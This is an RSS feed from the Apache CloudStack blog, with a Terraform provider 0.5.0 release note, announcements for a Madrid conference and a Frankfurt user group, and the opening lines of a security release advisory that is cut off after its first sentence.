<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Apache CloudStack Blog</title>
        <link>https://cloudstack.apache.org/blog</link>
        <description>Apache CloudStack Blog</description>
        <lastBuildDate>Fri, 12 Apr 2024 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <item>
            <title><![CDATA[Apache CloudStack Terraform 0.5.0 Release]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-terraform-provider-0.5.0-release</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-terraform-provider-0.5.0-release</guid>
            <pubDate>Fri, 12 Apr 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[We are pleased to announce the release of Apache CloudStack Terraform]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/cloudstack-terraform-provider-0.5.0-release"><img loading="lazy" src="/assets/images/banner-876119598f926b6667d73cd18625f33d.jpg" title="CloudStack Terraform Provider" width="1200" height="628" class="img_ev3q"></a></p><p>We are pleased to announce the release of Apache CloudStack Terraform
provider v0.5.0. Terraform is an open-source infrastructure as code software
tool that provides a consistent CLI workflow to manage resources in many
public/private clouds.</p><p>Terraform v0.5.0 comes packed with several new features, enhancements,
and bug fixes to make it even more robust and reliable.</p><p>Some of the key highlights of this release include:</p><ul><li>Added support for Kubernetes Cluster creation</li><li>Added support for Kubernetes iso registration</li><li>Added support for new data sources in Cloudstack</li><li>Added UEFI Support to the Cloudstack instance resource</li><li>Added vApp properties support to the Cloudstack Instance resource</li><li>Added parameters (host_id , cluster_id support to the Cloudstack instance resource</li><li>Added source_nat_ip_address support to the Cloudstack network</li><li>Added  new resource attach_volume</li><li>Improved service offering creation by adding more parameters</li><li>Added documentation for new resources</li><li>Various Bug fixes</li><li>Validated and fixed all existing resource creations to work as expected</li></ul><p>Apache CloudStack Terraform provider v0.5.0 is available for
download now from the <a href="https://cloudstack.apache.org/downloads/#cloudstack-terraform-provider-release" target="_blank" rel="noopener noreferrer">Apache CloudStack
website</a>.</p><h3>Downloads and Documentation</h3><p>The official source code for Apache CloudStack Terraform provider can
be downloaded from:</p><p><a href="https://cloudstack.apache.org/downloads" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads</a></p><p>The installation and usage documentation for Apache CloudStack Terraform provider is available at:</p><ul><li><a href="https://github.com/apache/cloudstack-terraform-provider/wiki" target="_blank" rel="noopener noreferrer">https://github.com/apache/cloudstack-terraform-provider/wiki</a></li><li><a href="https://github.com/apache/cloudstack-terraform-provider/wiki#installing-from-github-release" target="_blank" rel="noopener noreferrer">https://github.com/apache/cloudstack-terraform-provider/wiki#installing-from-github-release</a></li></ul><p>The documentation for the usage of resources to create and interact
with CloudStack is available at
<a href="https://registry.terraform.io/providers/cloudstack/cloudstack/0.5.0/docs" target="_blank" rel="noopener noreferrer">https://registry.terraform.io/providers/cloudstack/cloudstack/0.5.0/docs</a></p><p>Users can also get the provider from the Terraform registry published at:
<a href="https://registry.terraform.io/providers/cloudstack/cloudstack/0.5.0" target="_blank" rel="noopener noreferrer">https://registry.terraform.io/providers/cloudstack/cloudstack/0.5.0</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Collaboration Conference 2024 – Prepare to pack for Madrid, Spain in November]]></title>
            <link>https://cloudstack.apache.org/blog/ccc-2024</link>
            <guid>https://cloudstack.apache.org/blog/ccc-2024</guid>
            <pubDate>Mon, 08 Apr 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Get ready to mark your calendars and pack your bags because the]]></description>
            <content:encoded><![CDATA[<p><img loading="lazy" src="/assets/images/CCC-2024-6abb831c7a26ea9719436a7fed398e97.png" title="Blog Header Image" width="1384" height="715" class="img_ev3q"></p><p>Get ready to mark your calendars and pack your bags because the
CloudStack Collaboration Conference 2024 is coming to Madrid, Spain!
From November 20th to 22nd, Orense 34 will be buzzing with excitement
as we gather for three days of immersive collaboration, insightful
discussions, and cutting-edge innovation.</p><div class="col col-3 col-lg text-center"><a href="https://www.eventbrite.com/e/cloudstack-collaboration-conference-2024-tickets-879401903767" target="_blank" rel="noopener noreferrer" class="button button--primary">Register Now</a></div><h2 class="anchor anchorWithStickyNavbar_LWe7" id="exclusive-in-person-experience-in-2024">Exclusive In-Person Experience in 2024<a href="#exclusive-in-person-experience-in-2024" class="hash-link" aria-label="Direct link to Exclusive In-Person Experience in 2024" title="Direct link to Exclusive In-Person Experience in 2024">​</a></h2><p>This year's conference is breaking new ground by going exclusively
in-person. After careful consideration, collecting feedback from the
community and planning, this year we will offer to the community the
opportunity to meet face-to-face, fostering deeper connections and
more meaningful interactions than ever before.</p><p>We did our best to deliver the CloudStack Community to everybody
interested during the pandemic time for a few years. Now, we are
focusing on growing the community and giving a chance to all
contributors, committers and people interested into the project, to
meet in-person and interact in a better way.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="hackathon-day---november-20th">Hackathon Day - November 20th<a href="#hackathon-day---november-20th" class="hash-link" aria-label="Direct link to Hackathon Day - November 20th" title="Direct link to Hackathon Day - November 20th">​</a></h2><p>Kickstarting the event on November 20th is a hackathon. Developers,
engineers, and project committers will come together to unleash their
creativity, tackle real-world challenges, and push the boundaries of
what's possible within the CloudStack ecosystem.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="technical-sessions-and-panels---november-21st-and-22nd">Technical Sessions and Panels - November 21st and 22nd<a href="#technical-sessions-and-panels---november-21st-and-22nd" class="hash-link" aria-label="Direct link to Technical Sessions and Panels - November 21st and 22nd" title="Direct link to Technical Sessions and Panels - November 21st and 22nd">​</a></h2><p>The excitement continues over the following two days with a jam-packed
schedule of technical sessions, thought-provoking talks, and engaging
panel discussions. Dive deep into the latest advancements, exchange
best practices, and explore emerging trends shaping the world of cloud
infrastructure and beyond.</p><p>Button: Register Now - <a href="https://www.eventbrite.com/e/cloudstack-collaboration-conference-2024-tickets-879401903767" target="_blank" rel="noopener noreferrer">https://www.eventbrite.com/e/cloudstack-collaboration-conference-2024-tickets-879401903767</a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="call-for-sponsors">Call for Sponsors<a href="#call-for-sponsors" class="hash-link" aria-label="Direct link to Call for Sponsors" title="Direct link to Call for Sponsors">​</a></h2><p>As we prepare to make history in Madrid, we're extending a special
invitation to organizations interested in supporting and sponsoring
the CloudStack Collaboration Conference 2024. Showcase your commitment
to driving open-source technology forward, gain exposure to a diverse
audience of industry professionals, and position your brand as a
leader in the CloudStack community. Contact us today to explore
sponsorship opportunities and secure your place at this groundbreaking
event.</p><p>CloudStack Collaboration Conference 2024 is not just a conference—it's
a celebration of open-source technology, collaboration, innovation,
and the boundless potential of the CloudStack ecosystem. Join us in
Madrid as we come together to share ideas, forge connections, and
shape the future of cloud technology.</p><div class="col col-3 col-lg text-center"><a href="https://www.cloudstackcollab.org/wp-content/uploads/2024/04/Sponsorship-Prospectus-CCC24-web.pdf" target="_blank" rel="noopener noreferrer" class="button button--primary">Review the Sponsorship Opportunities</a></div><p>Don't forget to follow us on social media for the latest conference
updates and exclusive behind-the-scenes content! #CloudStackConf2024</p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[CloudStack European User Group – September 12th, Frankfurt, Germany]]></title>
            <link>https://cloudstack.apache.org/blog/cseug-2024</link>
            <guid>https://cloudstack.apache.org/blog/cseug-2024</guid>
            <pubDate>Mon, 08 Apr 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[CloudStack European User Group 2024 is scheduled for September 12th]]></description>
            <content:encoded><![CDATA[<p><img loading="lazy" src="/assets/images/banner-a7234a01abf348d1d06c274d1d642c9c.jpg" title="Blog Header Image" width="1200" height="628" class="img_ev3q"></p><h1>Apache CloudStack is thrilled to share that the autumn edition of</h1><p>  CloudStack European User Group 2024 is scheduled for September 12th
and will happen in Frankfurt, Germany!</p><p>The event will be hosted by proIO – а German Private Cloud and Managed
Hosting Provider and a long-time CloudStack community supporter. The
venue to accommodate the CloudStack European User Group 2024 is Nio
House Frankfurt.</p><div class="col col-3 col-lg text-center"><a href="https://www.eventbrite.co.uk/e/cloudstack-european-user-group-germany-tickets-879369205967" target="_blank" rel="noopener noreferrer" class="button button--primary">Register Now</a></div><h2 class="anchor anchorWithStickyNavbar_LWe7" id="why-join-the-cseug">Why Join the CSEUG<a href="#why-join-the-cseug" class="hash-link" aria-label="Direct link to Why Join the CSEUG" title="Direct link to Why Join the CSEUG">​</a></h2><p>CloudStack European User Group is a get-together for the European
CloudStack Community. CSEUG is a 1-day technical event, where you will
be able to meet the leading CloudStack experts, users and skilful
engineers from the open-source world. You can expect technical talks,
user stories, new features and integrations presentations and more.</p><p><img loading="lazy" src="/assets/images/presentation-e6860b85e343cb778618c676d9a91031.jpg" title="empty presentation room" width="1500" height="1001" class="img_ev3q"></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="call-for-presentations">Call for Presentations<a href="#call-for-presentations" class="hash-link" aria-label="Direct link to Call for Presentations" title="Direct link to Call for Presentations">​</a></h2><p>The Call for Presentations is also open. We encourage you to submit
your session early, to maximise the chance of it being accepted. Also,
please keep in mind sessions are expected to be held in-person. Click
here to submit your session proposal -
<a href="https://forms.gle/7gREjJWAusZndGnL7" target="_blank" rel="noopener noreferrer">https://forms.gle/7gREjJWAusZndGnL7</a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="who-is-the-conference-for">Who is the Conference for?<a href="#who-is-the-conference-for" class="hash-link" aria-label="Direct link to Who is the Conference for?" title="Direct link to Who is the Conference for?">​</a></h2><p>The event is aimed at developers, operators and users to discuss and
evolve the open-source software project, its functionality and
real-world operability. This event will introduce you to the
CloudStack family, community leaders, project members and
contributors.</p><p>CSEUG welcomes attendees from all over the globe. Our core audience is
enterprises, cloud service providers, telcos and MSPs. Every region
sends its best and brightest to share insights and knowledge on
open-source technology, orchestrating public and private clouds,
building IaaS.</p><div class="col col-3 col-lg text-center"><a href="https://www.eventbrite.co.uk/e/cloudstack-european-user-group-germany-tickets-879369205967" target="_blank" rel="noopener noreferrer" class="button button--primary">Register Now</a></div><h2 class="anchor anchorWithStickyNavbar_LWe7" id="meet-proio--our-host">Meet proIO – Our host<a href="#meet-proio--our-host" class="hash-link" aria-label="Direct link to Meet proIO – Our host" title="Direct link to Meet proIO – Our host">​</a></h2><p><a href="https://www.proIO.com/" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJ4AAABYCAIAAACLVtmFAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwgMjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTcgKFdpbmRvd3MpIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjYwNEM3NjAzNjdFODExRUNBMThBQ0JFQkE2OEE1QThDIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjYwNEM3NjA0NjdFODExRUNBMThBQ0JFQkE2OEE1QThDIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6NjA0Qzc2MDE2N0U4MTFFQ0ExOEFDQkVCQTY4QTVBOEMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6NjA0Qzc2MDI2N0U4MTFFQ0ExOEFDQkVCQTY4QTVBOEMiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz7axza4AAAXp0lEQVR42uxd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" title="proIO" width="158" height="88" class="img_ev3q"></a></p><p>proIO is a Private Cloud Provider dedicated to empowering German SMBs
across various industries through its Infrastructure-as-a-Service and
Managed Hosting solutions, based out of Frankfurt, Germany. Deeply
rooted in its belief in open-source technology, proIO is recognized
for its expertise through its longstanding use of Apache
CloudStack. This commitment to open-source principles is further
highlighted by CEO Swen Brüseke, who is frequently featured at
community events, sharing insights and fostering dialogue with the
community.</p><p>"CloudStack empowers proIO to offer solutions that are precisely
tailored to meet our customers' unique business needs," states
Swen. "With its minimal footprint, flexibility, ease of use, and
compatibility with standard hardware, we're positioned to enhance and
streamline our customers' IT infrastructure. This approach reflects
our dedication to delivering highly effective, customer-centric
solutions."</p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[[ADVISORY] Apache CloudStack Security Releases 4.18.1.1 and 4.19.0.1]]></title>
            <link>https://cloudstack.apache.org/blog/security-release-advisory-4.19.0.1-4.18.1.1</link>
            <guid>https://cloudstack.apache.org/blog/security-release-advisory-4.19.0.1-4.18.1.1</guid>
            <pubDate>Thu, 04 Apr 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack security releases]]></description>
            <content:encoded><![CDATA[<p>Apache CloudStack security releases
<a href="https://github.com/apache/cloudstack/releases/tag/4.18.1.1" target="_blank" rel="noopener noreferrer">4.18.1.1</a> and
<a href="https://github.com/apache/cloudstack/releases/tag/4.19.0.1" target="_blank" rel="noopener noreferrer">4.19.0.1</a> address the CVEs
listed below. Affected users are recommended to
<a href="https://cloudstack.apache.org/downloads" target="_blank" rel="noopener noreferrer">upgrade</a> their CloudStack
